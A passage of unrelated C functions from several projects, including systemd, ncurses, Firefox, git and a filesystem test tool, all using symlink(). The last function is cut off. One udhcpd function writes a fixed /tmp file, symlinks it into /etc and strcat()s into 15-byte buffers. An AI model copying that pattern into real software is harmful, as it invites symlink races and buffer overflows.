static void test_chase_symlinks(void) { _cleanup_free_ char *result = NULL; char temp[] = "/tmp/test-chase.XXXXXX"; const char *top, *p, *q; int r; assert_se(mkdtemp(temp)); top = strjoina(temp, "/top"); assert_se(mkdir(top, 0700) >= 0); p = strjoina(top, "/dot"); assert_se(symlink(".", p) >= 0); p = strjoina(top, "/dotdot"); assert_se(symlink("..", p) >= 0); p = strjoina(top, "/dotdota"); assert_se(symlink("../a", p) >= 0); p = strjoina(temp, "/a"); assert_se(symlink("b", p) >= 0); p = strjoina(temp, "/b"); assert_se(symlink("/usr", p) >= 0); p = strjoina(temp, "/start"); assert_se(symlink("top/dot/dotdota", p) >= 0); /* Paths that use symlinks underneath the "root" */ r = chase_symlinks(p, NULL, 0, &result); assert_se(r > 0); assert_se(path_equal(result, "/usr")); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r == -ENOENT); q = strjoina(temp, "/usr"); r = chase_symlinks(p, temp, CHASE_NONEXISTENT, &result); assert_se(r == 0); assert_se(path_equal(result, q)); assert_se(mkdir(q, 0700) >= 0); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0); assert_se(path_equal(result, q)); p = strjoina(temp, "/slash"); assert_se(symlink("/", p) >= 0); result = mfree(result); r = chase_symlinks(p, NULL, 0, &result); assert_se(r > 0); assert_se(path_equal(result, "/")); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0); assert_se(path_equal(result, temp)); /* Paths that would "escape" outside of the "root" */ p = strjoina(temp, "/6dots"); assert_se(symlink("../../..", p) >= 0); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0 && path_equal(result, temp)); p = strjoina(temp, "/6dotsusr"); assert_se(symlink("../../../usr", p) >= 0); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0 && path_equal(result, q)); p = strjoina(temp, "/top/8dotsusr"); assert_se(symlink("../../../../usr", p) >= 0); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0 && path_equal(result, q)); /* Paths that contain repeated slashes */ p = strjoina(temp, "/slashslash"); assert_se(symlink("///usr///", p) >= 0); result = mfree(result); r = chase_symlinks(p, NULL, 0, &result); assert_se(r > 0); assert_se(path_equal(result, "/usr")); result = mfree(result); r = chase_symlinks(p, temp, 0, &result); assert_se(r > 0); assert_se(path_equal(result, q)); /* Paths using . */ result = mfree(result); r = chase_symlinks("/etc/./.././", NULL, 0, &result); assert_se(r > 0); assert_se(path_equal(result, "/")); result = mfree(result); r = chase_symlinks("/etc/./.././", "/etc", 0, &result); assert_se(r > 0 && path_equal(result, "/etc")); result = mfree(result); r = chase_symlinks("/etc/machine-id/foo", NULL, 0, &result); assert_se(r == -ENOTDIR); /* Path that loops back to self */ result = mfree(result); p = strjoina(temp, "/recursive-symlink"); assert_se(symlink("recursive-symlink", p) >= 0); r = chase_symlinks(p, NULL, 0, &result); assert_se(r == -ELOOP); /* Path which doesn't exist */ p = strjoina(temp, "/idontexist"); r = chase_symlinks(p, NULL, 0, &result); assert_se(r == -ENOENT); r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result); assert_se(r == 0); assert_se(path_equal(result, p)); result = mfree(result); p = strjoina(temp, "/idontexist/meneither"); r = chase_symlinks(p, NULL, 0, &result); assert_se(r == -ENOENT); r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result); assert_se(r == 0); assert_se(path_equal(result, p)); result = mfree(result); /* Path which doesn't exist, but contains weird stuff */ p = strjoina(temp, "/idontexist/.."); r = chase_symlinks(p, NULL, 0, &result); assert_se(r == -ENOENT); r = chase_symlinks(p, NULL, CHASE_NONEXISTENT, &result); assert_se(r == -ENOENT); p = strjoina(temp, "/target"); q = strjoina(temp, "/top"); assert_se(symlink(q, p) >= 0); p = strjoina(temp, "/target/idontexist"); r = chase_symlinks(p, NULL, 0, &result); assert_se(r == -ENOENT); assert_se(rm_rf(temp, REMOVE_ROOT|REMOVE_PHYSICAL) >= 0); }
_nc_write_entry(TERMTYPE2 *const tp) { #if USE_HASHED_DB char buffer[MAX_ENTRY_SIZE + 1]; unsigned limit = sizeof(buffer); unsigned offset = 0; #else /* !USE_HASHED_DB */ struct stat statbuf; char filename[PATH_MAX]; char linkname[PATH_MAX]; #if USE_SYMLINKS char symlinkname[PATH_MAX]; #if !HAVE_LINK #undef HAVE_LINK #define HAVE_LINK 1 #endif #endif /* USE_SYMLINKS */ unsigned limit2 = sizeof(filename) - (2 + LEAF_LEN); char saved = '\0'; static int call_count; static time_t start_time; /* time at start of writes */ #endif /* USE_HASHED_DB */ char name_list[MAX_TERMINFO_LENGTH]; char *first_name, *other_names; char *ptr; char *term_names = tp->term_names; size_t name_size = strlen(term_names); if (name_size == 0) { _nc_syserr_abort("no terminal name found."); } else if (name_size >= sizeof(name_list) - 1) { _nc_syserr_abort("terminal name too long: %s", term_names); } _nc_STRCPY(name_list, term_names, sizeof(name_list)); DEBUG(7, ("Name list = '%s'", name_list)); first_name = name_list; ptr = &name_list[name_size - 1]; other_names = ptr + 1; while (ptr > name_list && *ptr != '|') ptr--; if (ptr != name_list) { *ptr = '\0'; for (ptr = name_list; *ptr != '\0' && *ptr != '|'; ptr++) continue; if (*ptr == '\0') other_names = ptr; else { *ptr = '\0'; other_names = ptr + 1; } } DEBUG(7, ("First name = '%s'", first_name)); DEBUG(7, ("Other names = '%s'", other_names)); _nc_set_type(first_name); #if USE_HASHED_DB if (_nc_write_object(tp, buffer + 1, &offset, limit - 1) != ERR) { DB *capdb = _nc_db_open(_nc_tic_dir(0), TRUE); DBT key, data; if (capdb != 0) { buffer[0] = 0; memset(&key, 0, sizeof(key)); key.data = term_names; key.size = name_size; memset(&data, 0, sizeof(data)); data.data = buffer; data.size = offset + 1; _nc_db_put(capdb, &key, &data); buffer[0] = 2; key.data = name_list; key.size = strlen(name_list); _nc_STRCPY(buffer + 1, term_names, sizeof(buffer) - 1); data.size = name_size + 1; total_size += data.size; total_parts++; _nc_db_put(capdb, &key, &data); while (*other_names != '\0') { ptr = other_names++; assert(ptr < buffer + sizeof(buffer) - 1); while (*other_names != '|' && *other_names != '\0') other_names++; if (*other_names != '\0') *(other_names++) = '\0'; key.data = ptr; key.size = strlen(ptr); total_size += data.size; total_parts++; _nc_db_put(capdb, &key, &data); } } } #else /* !USE_HASHED_DB */ if (call_count++ == 0) { start_time = 0; } if (strlen(first_name) >= sizeof(filename) - (2 + LEAF_LEN)) { _nc_warning("terminal name too long."); saved = first_name[limit2]; first_name[limit2] = '\0'; } _nc_SPRINTF(filename, _nc_SLIMIT(sizeof(filename)) LEAF_FMT "/%s", first_name[0], first_name); if (saved) first_name[limit2] = saved; /* * Has this primary name been written since the first call to * write_entry()? If so, the newer write will step on the older, * so warn the user. */ if (start_time > 0 && stat(filename, &statbuf) >= 0 && statbuf.st_mtime >= start_time) { #if HAVE_LINK && !USE_SYMLINKS /* * If the file has more than one link, the reason for the previous * write could be that the current primary name used to be an alias for * the previous entry. In that case, unlink the file so that we will * not modify the previous entry as we write this one. */ if (statbuf.st_nlink > 1) { _nc_warning("name redefined."); unlink(filename); } else { _nc_warning("name multiply defined."); } #else _nc_warning("name multiply defined."); #endif } check_writeable(first_name[0]); write_file(filename, tp); if (start_time == 0) { if (stat(filename, &statbuf) < 0 || (start_time = statbuf.st_mtime) == 0) { _nc_syserr_abort("error obtaining time from %s/%s", _nc_tic_dir(0), filename); } } while (*other_names != '\0') { ptr = other_names++; while (*other_names != '|' && *other_names != '\0') other_names++; if (*other_names != '\0') *(other_names++) = '\0'; if (strlen(ptr) > sizeof(linkname) - (2 + LEAF_LEN)) { _nc_warning("terminal alias %s too long.", ptr); continue; } if (strchr(ptr, '/') != 0) { _nc_warning("cannot link alias %s.", ptr); continue; } check_writeable(ptr[0]); _nc_SPRINTF(linkname, _nc_SLIMIT(sizeof(linkname)) LEAF_FMT "/%s", ptr[0], ptr); if (strcmp(filename, linkname) == 0) { _nc_warning("self-synonym ignored"); } else if (stat(linkname, &statbuf) >= 0 && statbuf.st_mtime < start_time) { _nc_warning("alias %s multiply defined.", ptr); } else if (_nc_access(linkname, W_OK) == 0) #if HAVE_LINK { int code; #if USE_SYMLINKS #define MY_SIZE sizeof(symlinkname) - 1 if (first_name[0] == linkname[0]) { _nc_STRNCPY(symlinkname, first_name, MY_SIZE); } else { _nc_STRCPY(symlinkname, "../", sizeof(symlinkname)); _nc_STRNCPY(symlinkname + 3, filename, MY_SIZE - 3); } symlinkname[MY_SIZE] = '\0'; #endif /* USE_SYMLINKS */ #if HAVE_REMOVE code = remove(linkname); #else code = unlink(linkname); #endif if (code != 0 && errno == ENOENT) code = 0; #if USE_SYMLINKS if (symlink(symlinkname, linkname) < 0) #else if (link(filename, linkname) < 0) #endif /* USE_SYMLINKS */ { /* * If there wasn't anything there, and we cannot * link to the target because it is the same as the * target, then the source must be on a filesystem * that uses caseless filenames, such as Win32, etc. */ if (code == 0 && errno == EEXIST) _nc_warning("can't link %s to %s", filename, linkname); else if (code == 0 && (errno == EPERM || errno == ENOENT)) write_file(linkname, tp); else { #if MIXEDCASE_FILENAMES _nc_syserr_abort("can't link %s to %s", filename, linkname); #else _nc_warning("can't link %s to %s (errno=%d)", filename, linkname, errno); #endif } } else { DEBUG(1, ("Linked %s", linkname)); } } #else /* just make copies */ write_file(linkname, tp); #endif /* HAVE_LINK */ } #endif /* USE_HASHED_DB */ }
/** * Write udhcpd.conf * @ipforward : NULL if we want a simple config, otherwise include dns info etc... */ static int write_udhcpd_conf(struct ipforward_data *ipforward, struct mode_list_elem *data) { FILE *conffile; char *ip, *interface; char *ipstart, *ipend; int dot = 0, i = 0, test; struct stat st; /* /tmp is often tmpfs, so we avoid writing to flash */ conffile = fopen("/tmp/udhcpd.conf", "w"); if(conffile == NULL) { log_debug("Error creating /etc/udhcpd.conf!\n"); return(1); } /* generate start and end ip based on the setting */ ip = get_network_ip(); if(ip == NULL) { ip = strdup("192.168.2.15"); } ipstart = malloc(sizeof(char)*15); ipend = malloc(sizeof(char)*15); while(i < 15) { if(dot < 3) { if(ip[i] == '.') dot ++; ipstart[i] = ip[i]; ipend[i] = ip[i]; } else { ipstart[i] = '\0'; ipend[i] = '\0'; break; } i++; } strcat(ipstart,"1"); strcat(ipend, "10"); interface = get_interface(data); /* print all data in the file */ fprintf(conffile, "start\t%s\n", ipstart); fprintf(conffile, "end\t%s\n", ipend); fprintf(conffile, "interface\t%s\n", interface); fprintf(conffile, "option\tsubnet\t255.255.255.0\n"); if(ipforward != NULL) { if(!ipforward->dns1 || !ipforward->dns2) { log_debug("No dns info!"); } else fprintf(conffile, "opt\tdns\t%s %s\n", ipforward->dns1, ipforward->dns2); fprintf(conffile, "opt\trouter\t%s\n", ip); } free(ipstart); free(ipend); free(ip); free(interface); fclose(conffile); log_debug("/etc/udhcpd.conf written.\n"); /* check if it is a symlink, if not remove and link, create the link if missing */ test = stat("/etc/udhcpd.conf", &st); /* if stat fails there is no file or link */ if(test == -1) goto link; /* if it is not a link we remove it, else we expect the right link to be there */ if((st.st_mode & S_IFMT) != S_IFLNK) { unlink("/etc/udhcpd.conf"); } else goto end; link: symlink("/tmp/udhcpd.conf", "/etc/udhcpd.conf"); end: return(0); }
nsresult nsProfileLock::LockWithSymlink(const nsACString& lockFilePath, bool aHaveFcntlLock) { nsresult rv; struct in_addr inaddr; inaddr.s_addr = htonl(INADDR_LOOPBACK); char hostname[256]; PRStatus status = PR_GetSystemInfo(PR_SI_HOSTNAME, hostname, sizeof hostname); if (status == PR_SUCCESS) { char netdbbuf[PR_NETDB_BUF_SIZE]; PRHostEnt hostent; status = PR_GetHostByName(hostname, netdbbuf, sizeof netdbbuf, &hostent); if (status == PR_SUCCESS) memcpy(&inaddr, hostent.h_addr, sizeof inaddr); } char *signature = PR_smprintf("%s:%s%lu", inet_ntoa(inaddr), aHaveFcntlLock ? "+" : "", (unsigned long)getpid()); const nsPromiseFlatCString& flat = PromiseFlatCString(lockFilePath); const char *fileName = flat.get(); int symlink_rv, symlink_errno = 0, tries = 0; // use ns4.x-compatible symlinks if the FS supports them while ((symlink_rv = symlink(signature, fileName)) < 0) { symlink_errno = errno; if (symlink_errno != EEXIST) break; if (!IsSymlinkStaleLock(&inaddr, fileName, aHaveFcntlLock)) break; // Lock seems to be bogus: try to claim it. Give up after a large // number of attempts (100 comes from the 4.x codebase). (void) unlink(fileName); if (++tries > 100) break; } PR_smprintf_free(signature); signature = nsnull; if (symlink_rv == 0) { // We exclusively created the symlink: record its name for eventual // unlock-via-unlink. rv = NS_OK; mHaveLock = PR_TRUE; mPidLockFileName = strdup(fileName); if (mPidLockFileName) { PR_APPEND_LINK(this, &mPidLockList); if (!setupPidLockCleanup++) { // Clean up on normal termination. // This instanciates a dummy class, and will trigger the class // destructor when libxul is unloaded. This is equivalent to atexit(), // but gracefully handles dlclose(). static RemovePidLockFilesExiting r; // Clean up on abnormal termination, using POSIX sigaction. // Don't arm a handler if the signal is being ignored, e.g., // because mozilla is run via nohup. if (!sDisableSignalHandling) { struct sigaction act, oldact; #ifdef SA_SIGINFO act.sa_sigaction = FatalSignalHandler; act.sa_flags = SA_SIGINFO; #else act.sa_handler = FatalSignalHandler; #endif sigfillset(&act.sa_mask); #define CATCH_SIGNAL(signame) \ PR_BEGIN_MACRO \ if (sigaction(signame, NULL, &oldact) == 0 && \ oldact.sa_handler != SIG_IGN) \ { \ sigaction(signame, &act, &signame##_oldact); \ } \ PR_END_MACRO CATCH_SIGNAL(SIGHUP); CATCH_SIGNAL(SIGINT); CATCH_SIGNAL(SIGQUIT); CATCH_SIGNAL(SIGILL); CATCH_SIGNAL(SIGABRT); CATCH_SIGNAL(SIGSEGV); CATCH_SIGNAL(SIGTERM); #undef CATCH_SIGNAL } } } } else if (symlink_errno == EEXIST) rv = NS_ERROR_FILE_ACCESS_DENIED; else { #ifdef DEBUG printf("symlink() failed. errno = %d\n", errno); #endif rv = NS_ERROR_FAILURE; } return rv; }
static Port * OpenPortInternal(const DeviceConfig &config, DataHandler &handler) { const TCHAR *path = NULL; TCHAR buffer[MAX_PATH]; switch (config.port_type) { case DeviceConfig::PortType::DISABLED: return NULL; case DeviceConfig::PortType::SERIAL: if (config.path.empty()) return NULL; path = config.path.c_str(); break; case DeviceConfig::PortType::RFCOMM: #ifdef ANDROID if (config.bluetooth_mac.empty()) { LogFormat("No Bluetooth MAC configured"); return NULL; } return OpenAndroidBluetoothPort(config.bluetooth_mac, handler); #else LogFormat("Bluetooth not available on this platform"); return NULL; #endif case DeviceConfig::PortType::RFCOMM_SERVER: #ifdef ANDROID return OpenAndroidBluetoothServerPort(handler); #else LogFormat("Bluetooth not available on this platform"); return NULL; #endif case DeviceConfig::PortType::IOIOUART: #if defined(ANDROID) && defined(IOIOLIB) if (config.ioio_uart_id >= AndroidIOIOUartPort::getNumberUarts()) { LogFormat("No IOIOUart configured in profile"); return NULL; } return OpenAndroidIOIOUartPort(config.ioio_uart_id, config.baud_rate, handler); #else LogFormat("IOIO Uart not available on this platform or version"); return NULL; #endif case DeviceConfig::PortType::AUTO: if (!DetectGPS(buffer, sizeof(buffer))) { LogFormat("no GPS detected"); return NULL; } LogStartUp(_T("GPS detected: %s"), buffer); path = buffer; break; case DeviceConfig::PortType::INTERNAL: case DeviceConfig::PortType::DROIDSOAR_V2: case DeviceConfig::PortType::NUNCHUCK: case DeviceConfig::PortType::I2CPRESSURESENSOR: case DeviceConfig::PortType::IOIOVOLTAGE: break; case DeviceConfig::PortType::TCP_LISTENER: { TCPPort *port = new TCPPort(handler); if (!port->Open(config.tcp_port)) { delete port; return NULL; } return port; } case DeviceConfig::PortType::UDP_LISTENER: { SocketPort *port = new SocketPort(handler); if (!port->OpenUDPListener(config.tcp_port)) { delete port; return NULL; } return port; } case DeviceConfig::PortType::PTY: { #if defined(HAVE_POSIX) && !defined(ANDROID) if (config.path.empty()) return NULL; if (unlink(config.path.c_str()) < 0 && errno != ENOENT) return NULL; TTYPort *port = new TTYPort(handler); const char *slave_path = port->OpenPseudo(); if (slave_path == NULL) { delete port; return NULL; } if (symlink(slave_path, config.path.c_str()) < 0) { delete port; return NULL; } return port; #else return NULL; #endif } } if (path == NULL) return NULL; #ifdef HAVE_POSIX TTYPort *port = new TTYPort(handler); #else SerialPort *port = new SerialPort(handler); #endif if (!port->Open(path, config.baud_rate)) { delete port; return NULL; } return port; }
static unsigned int call_syscall(struct syscall_desc *scall, char *argv[]) { struct stat64 sb; long long flags; unsigned int i; char *endp; int name, rval; union { char *str; long long num; } args[MAX_ARGS]; #ifdef HAS_FREEBSD_ACL int entry_id = ACL_FIRST_ENTRY; acl_t acl, newacl; acl_entry_t entry, newentry; #endif /* * Verify correctness of the arguments. */ for (i = 0; i < sizeof(args)/sizeof(args[0]); i++) { if (scall->sd_args[i] == TYPE_NONE) { if (argv[i] == NULL || strcmp(argv[i], ":") == 0) break; fprintf(stderr, "too many arguments [%s]\n", argv[i]); exit(1); } else { if (argv[i] == NULL || strcmp(argv[i], ":") == 0) { if (scall->sd_args[i] & TYPE_OPTIONAL) break; fprintf(stderr, "too few arguments\n"); exit(1); } if ((scall->sd_args[i] & TYPE_MASK) == TYPE_STRING) { if (strcmp(argv[i], "NULL") == 0) args[i].str = NULL; else if (strcmp(argv[i], "DEADCODE") == 0) args[i].str = (void *)0xdeadc0de; else args[i].str = argv[i]; } else if ((scall->sd_args[i] & TYPE_MASK) == TYPE_NUMBER) { args[i].num = strtoll(argv[i], &endp, 0); if (*endp != '\0' && !isspace((unsigned char)*endp)) { fprintf(stderr, "invalid argument %u, number expected [%s]\n", i, endp); exit(1); } } else if ((scall->sd_args[i] & TYPE_MASK) == TYPE_DESCRIPTOR) { if (strcmp(argv[i], "AT_FDCWD") == 0) { args[i].num = AT_FDCWD; } else if (strcmp(argv[i], "BADFD") == 0) { /* In case AT_FDCWD is -1 on some systems... */ if (AT_FDCWD == -1) args[i].num = -2; else args[i].num = -1; } else { int pos; pos = strtoll(argv[i], &endp, 0); if (*endp != '\0' && !isspace((unsigned char)*endp)) { fprintf(stderr, "invalid argument %u, number expected [%s]\n", i, endp); exit(1); } args[i].num = descriptor_get(pos); } } } } /* * Call the given syscall. */ #define NUM(n) (args[(n)].num) #define STR(n) (args[(n)].str) switch (scall->sd_action) { case ACTION_OPEN: flags = str2flags(open_flags, STR(1)); if (flags & O_CREAT) { if (i == 2) { fprintf(stderr, "too few arguments\n"); exit(1); } rval = open(STR(0), (int)flags, (mode_t)NUM(2)); } else { if (i == 3) { fprintf(stderr, "too many arguments\n"); exit(1); } rval = open(STR(0), (int)flags); } if (rval >= 0) descriptor_add(rval); break; case ACTION_OPENAT: flags = str2flags(open_flags, STR(2)); if (flags & O_CREAT) { if (i == 3) { fprintf(stderr, "too few arguments\n"); exit(1); } rval = openat(NUM(0), STR(1), (int)flags, (mode_t)NUM(3)); } else { if (i == 4) { fprintf(stderr, "too many arguments\n"); exit(1); } rval = openat(NUM(0), STR(1), (int)flags); } if (rval >= 0) descriptor_add(rval); break; case ACTION_CREATE: rval = open(STR(0), O_CREAT | O_EXCL, (mode_t)NUM(1)); if (rval >= 0) close(rval); break; case ACTION_UNLINK: rval = unlink(STR(0)); break; case ACTION_UNLINKAT: rval = unlinkat(NUM(0), STR(1), (int)str2flags(unlinkat_flags, STR(2))); break; case ACTION_MKDIR: rval = mkdir(STR(0), (mode_t)NUM(1)); break; case ACTION_MKDIRAT: rval = mkdirat(NUM(0), STR(1), (mode_t)NUM(2)); break; case ACTION_RMDIR: rval = rmdir(STR(0)); break; case ACTION_LINK: rval = link(STR(0), STR(1)); break; case ACTION_LINKAT: rval = linkat(NUM(0), STR(1), NUM(2), STR(3), (int)str2flags(linkat_flags, STR(4))); break; case ACTION_SYMLINK: rval = symlink(STR(0), STR(1)); break; case ACTION_SYMLINKAT: rval = symlinkat(STR(0), NUM(1), STR(2)); break; case ACTION_RENAME: rval = rename(STR(0), STR(1)); break; case ACTION_RENAMEAT: rval = renameat(NUM(0), STR(1), NUM(2), STR(3)); break; case ACTION_MKFIFO: rval = mkfifo(STR(0), (mode_t)NUM(1)); break; case ACTION_MKFIFOAT: rval = mkfifoat(NUM(0), STR(1), (mode_t)NUM(2)); break; case ACTION_MKNOD: case ACTION_MKNODAT: { mode_t ntype; dev_t dev; int fa; switch (scall->sd_action) { case ACTION_MKNOD: fa = 0; break; case ACTION_MKNODAT: fa = 1; break; default: abort(); } dev = makedev(NUM(fa + 3), NUM(fa + 4)); if (strcmp(STR(fa + 1), "c") == 0) /* character device */ ntype = S_IFCHR; else if (strcmp(STR(fa + 1), "b") == 0) /* block device */ ntype = S_IFBLK; else if (strcmp(STR(fa + 1), "f") == 0) /* fifo special */ ntype = S_IFIFO; else if (strcmp(STR(fa + 1), "d") == 0) /* directory */ ntype = S_IFDIR; else if (strcmp(STR(fa + 1), "o") == 0) /* regular file */ ntype = S_IFREG; else { fprintf(stderr, "wrong argument 1\n"); exit(1); } switch (scall->sd_action) { case ACTION_MKNOD: rval = mknod(STR(0), ntype | NUM(2), dev); break; case ACTION_MKNODAT: rval = mknodat(NUM(0), STR(1), ntype | NUM(3), dev); break; default: abort(); } break; } case ACTION_BIND: { struct sockaddr_un sunx; sunx.sun_family = AF_UNIX; strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1); sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0'; rval = socket(AF_UNIX, SOCK_STREAM, 0); if (rval < 0) break; rval = bind(rval, (struct sockaddr *)&sunx, sizeof(sunx)); break; } #ifdef HAS_BINDAT case ACTION_BINDAT: { struct sockaddr_un sunx; sunx.sun_family = AF_UNIX; strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1); sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0'; rval = socket(AF_UNIX, SOCK_STREAM, 0); if (rval < 0) break; rval = bindat(NUM(0), rval, (struct sockaddr *)&sunx, sizeof(sunx)); break; } #endif case ACTION_CONNECT: { struct sockaddr_un sunx; sunx.sun_family = AF_UNIX; strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1); sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0'; rval = socket(AF_UNIX, SOCK_STREAM, 0); if (rval < 0) break; rval = connect(rval, (struct sockaddr *)&sunx, sizeof(sunx)); break; } #ifdef HAS_CONNECTAT case ACTION_CONNECTAT: { struct sockaddr_un sunx; sunx.sun_family = AF_UNIX; strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1); sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0'; rval = socket(AF_UNIX, SOCK_STREAM, 0); if (rval < 0) break; rval = connectat(NUM(0), rval, (struct sockaddr *)&sunx, sizeof(sunx)); break; } #endif case ACTION_CHMOD: rval = chmod(STR(0), (mode_t)NUM(1)); break; case ACTION_FCHMOD: rval = fchmod(NUM(0), (mode_t)NUM(1)); break; #ifdef HAS_LCHMOD case ACTION_LCHMOD: rval = lchmod(STR(0), (mode_t)NUM(1)); break; #endif case ACTION_FCHMODAT: rval = fchmodat(NUM(0), STR(1), (mode_t)NUM(2), str2flags(fchmodat_flags, STR(3))); break; case ACTION_CHOWN: rval = chown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2)); break; case ACTION_FCHOWN: rval = fchown(NUM(0), (uid_t)NUM(1), (gid_t)NUM(2)); break; case ACTION_LCHOWN: rval = lchown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2)); break; case ACTION_FCHOWNAT: rval = fchownat(NUM(0), STR(1), (uid_t)NUM(2), (gid_t)NUM(3), (int)str2flags(fchownat_flags, STR(4))); break; #ifdef HAS_CHFLAGS case ACTION_CHFLAGS: rval = chflags(STR(0), (unsigned long)str2flags(chflags_flags, STR(1))); break; #endif #ifdef HAS_FCHFLAGS case ACTION_FCHFLAGS: rval = fchflags(NUM(0), (unsigned long)str2flags(chflags_flags, STR(1))); break; #endif #ifdef HAS_CHFLAGSAT case ACTION_CHFLAGSAT: rval = chflagsat(NUM(0), STR(1), (unsigned long)str2flags(chflags_flags, STR(2)), (int)str2flags(chflagsat_flags, STR(3))); break; #endif #ifdef HAS_LCHFLAGS case ACTION_LCHFLAGS: rval = lchflags(STR(0), (unsigned long)str2flags(chflags_flags, STR(1))); break; #endif case ACTION_TRUNCATE: rval = truncate64(STR(0), NUM(1)); break; case ACTION_FTRUNCATE: rval = ftruncate64(NUM(0), NUM(1)); break; case ACTION_STAT: rval = stat64(STR(0), &sb); if (rval == 0) { show_stats(&sb, STR(1)); return (i); } break; case ACTION_FSTAT: rval = fstat64(NUM(0), &sb); if (rval == 0) { show_stats(&sb, STR(1)); return (i); } break; case ACTION_LSTAT: rval = lstat64(STR(0), &sb); if (rval == 0) { show_stats(&sb, STR(1)); return (i); } break; case ACTION_FSTATAT: rval = fstatat(NUM(0), STR(1), &sb, (int)str2flags(fstatat_flags, STR(2))); if (rval == 0) { show_stats(&sb, STR(3)); return (i); } break; case ACTION_PATHCONF: case ACTION_FPATHCONF: case ACTION_LPATHCONF: { long lrval; name = str2name(pathconf_names, STR(1)); if (name == -1) { fprintf(stderr, "unknown name %s", STR(1)); exit(1); } errno = 0; switch (scall->sd_action) { case ACTION_PATHCONF: lrval = pathconf(STR(0), name); break; case ACTION_FPATHCONF: lrval = fpathconf(NUM(0), name); break; case ACTION_LPATHCONF: lrval = lpathconf(STR(0), name); break; default: abort(); } if (lrval == -1 && errno == 0) { printf("unlimited\n"); return (i); } else if (lrval >= 0) { printf("%ld\n", lrval); return (i); } rval = -1; break; } #ifdef HAS_FREEBSD_ACL case ACTION_PREPENDACL: rval = -1; acl = acl_get_file(STR(0), ACL_TYPE_NFS4); if (acl == NULL) break; newacl = acl_from_text(STR(1)); if (acl == NULL) break; while (acl_get_entry(newacl, entry_id, &newentry) == 1) { entry_id = ACL_NEXT_ENTRY; if (acl_create_entry_np(&acl, &entry, 0)) break; if (acl_copy_entry(entry, newentry)) break; } rval = acl_set_file(STR(0), ACL_TYPE_NFS4, acl); break; case ACTION_READACL: acl = acl_get_file(STR(0), ACL_TYPE_NFS4); if (acl == NULL) rval = -1; else rval = 0; break; #endif case ACTION_WRITE: rval = write(NUM(0), STR(1), strlen(STR(1))); break; default: fprintf(stderr, "unsupported syscall\n"); exit(1); } #undef STR #undef NUM if (rval < 0) { const char *serrno; serrno = err2str(errno); fprintf(stderr, "%s returned %d\n", scall->sd_name, rval); printf("%s\n", serrno); exit(1); } printf("0\n"); return (i); }
int create_symref(const char *ref_target, const char *refs_heads_master, const char *logmsg) { const char *lockpath; char ref[1000]; int fd, len, written; char *git_HEAD = git_pathdup("%s", ref_target); unsigned char old_sha1[20], new_sha1[20]; if (logmsg && read_ref(ref_target, old_sha1)) hashclr(old_sha1); if (safe_create_leading_directories(git_HEAD) < 0) return error("unable to create directory for %s", git_HEAD); #ifndef NO_SYMLINK_HEAD if (prefer_symlink_refs) { unlink(git_HEAD); if (!symlink(refs_heads_master, git_HEAD)) goto done; fprintf(stderr, "no symlink - falling back to symbolic ref\n"); } #endif len = snprintf(ref, sizeof(ref), "ref: %s\n", refs_heads_master); if (sizeof(ref) <= len) { error("refname too long: %s", refs_heads_master); goto error_free_return; } lockpath = mkpath("%s.lock", git_HEAD); fd = open(lockpath, O_CREAT | O_EXCL | O_WRONLY, 0666); if (fd < 0) { error("Unable to open %s for writing", lockpath); goto error_free_return; } written = write_in_full(fd, ref, len); if (close(fd) != 0 || written != len) { error("Unable to write to %s", lockpath); goto error_unlink_return; } if (rename(lockpath, git_HEAD) < 0) { error("Unable to create %s", git_HEAD); goto error_unlink_return; } if (adjust_shared_perm(git_HEAD)) { error("Unable to fix permissions on %s", lockpath); error_unlink_return: unlink_or_warn(lockpath); error_free_return: free(git_HEAD); return -1; } #ifndef NO_SYMLINK_HEAD done: #endif if (logmsg && !read_ref(refs_heads_master, new_sha1)) log_ref_write(ref_target, old_sha1, new_sha1, logmsg); free(git_HEAD); return 0; }
} END_TEST /* * TODO: * * We should really explore maximum paths values: * * - absolute maximum: PATH_MAX * - relative maximum: _POSIX_PATH_MAX * - pathconf(3) */ START_TEST(test_cc_oci_resolve_path) { gchar *tmpdir; gchar *file; gchar *slink; gchar *path; const char *d = NULL; tmpdir = g_dir_make_tmp (NULL, NULL); ck_assert (tmpdir); file = g_build_path ("/", tmpdir, "foo", NULL); ck_assert (file); slink = g_build_path ("/", tmpdir, "symlink", NULL); ck_assert (slink); /* create a symlink */ ck_assert (! symlink (file, slink)); ck_assert (! cc_oci_resolve_path (NULL)); ck_assert (! cc_oci_resolve_path ("")); ck_assert (! cc_oci_resolve_path ("not a path")); ck_assert (! cc_oci_resolve_path ("/does/not/exist")); /*******************************/ /* check a known valid path */ d = g_get_tmp_dir (); ck_assert (d); path = cc_oci_resolve_path (d); ck_assert (path); ck_assert (! g_strcmp0 (path, d)); g_free (path); /*******************************/ /* file doesn't exist */ path = cc_oci_resolve_path (file); ck_assert (! path); /*******************************/ /* create valid file */ ck_assert (g_file_set_contents (file, "", -1, NULL)); path = cc_oci_resolve_path (file); ck_assert (path); ck_assert (! g_strcmp0 (path, file)); g_free (path); /*******************************/ /* check a broken symlink */ /* break the symlink by removing the file it points to */ ck_assert (! g_remove (file)); path = cc_oci_resolve_path (slink); ck_assert (! path); /*******************************/ /* check a valid symlink */ /* re create the file */ ck_assert (g_file_set_contents (file, "", -1, NULL)); path = cc_oci_resolve_path (slink); ck_assert (path); ck_assert (! g_strcmp0 (path, file)); g_free (path); /* clean up */ ck_assert (! g_remove (file)); ck_assert (! g_remove (slink)); ck_assert (! g_remove (tmpdir)); g_free (tmpdir); g_free (file); g_free 